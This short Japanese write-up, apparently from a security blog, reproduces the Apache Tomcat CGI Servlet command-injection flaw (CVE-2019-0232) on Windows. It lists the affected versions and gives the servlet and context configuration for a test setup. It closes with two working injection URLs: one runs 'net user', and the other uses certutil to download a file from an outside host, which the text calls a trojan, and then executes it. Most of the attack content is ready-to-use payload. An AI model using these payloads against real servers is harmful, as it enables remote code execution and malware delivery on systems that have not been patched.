
Apache Tomcat CGI Servletのコマンドインジェクション(CVE-2019-0232)を悪用し、影響を受けるバージョンに対して巧妙に細工されたHTTPリクエストによりリモートコード実行を可能にするエクスプロイト。
テスト環境はWin10 Home 1809、jreバージョンは18.3 (build 10.0.2+13)、Tomcatバージョンは9.0.13。
★Apache Tomcat 9.0.0.M1 to 9.0.17
★Apache Tomcat 8.5.0 to 8.5.39
★Apache Tomcat 7.0.0 to 7.0.93
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
Servletマッピングの設定:
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
privileged="true"属性を追加
<Context privileged="true">
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
</Context>
最後にwebapps/ROOT/WEB-INFフォルダにhello.bat空ファイルを作成し、中には何も書かなくてよい。 Tomcatを起動し、ブラウザを開いて以下のリンクにアクセス: http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5Cnet+user

インジェクションリンクを構築し、画像(トロイの木馬)ダウンローダーの機能を実現する: http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5ccertutil+-urlcache+-split+-f+http%3a%2f%2fb.hiphotos.baidu.com%2fimage%2fpic%2fitem%2f9825bc315c6034a8ef5250cec5134954082376c9.jpg+1.jpg+%26start+1.jpg
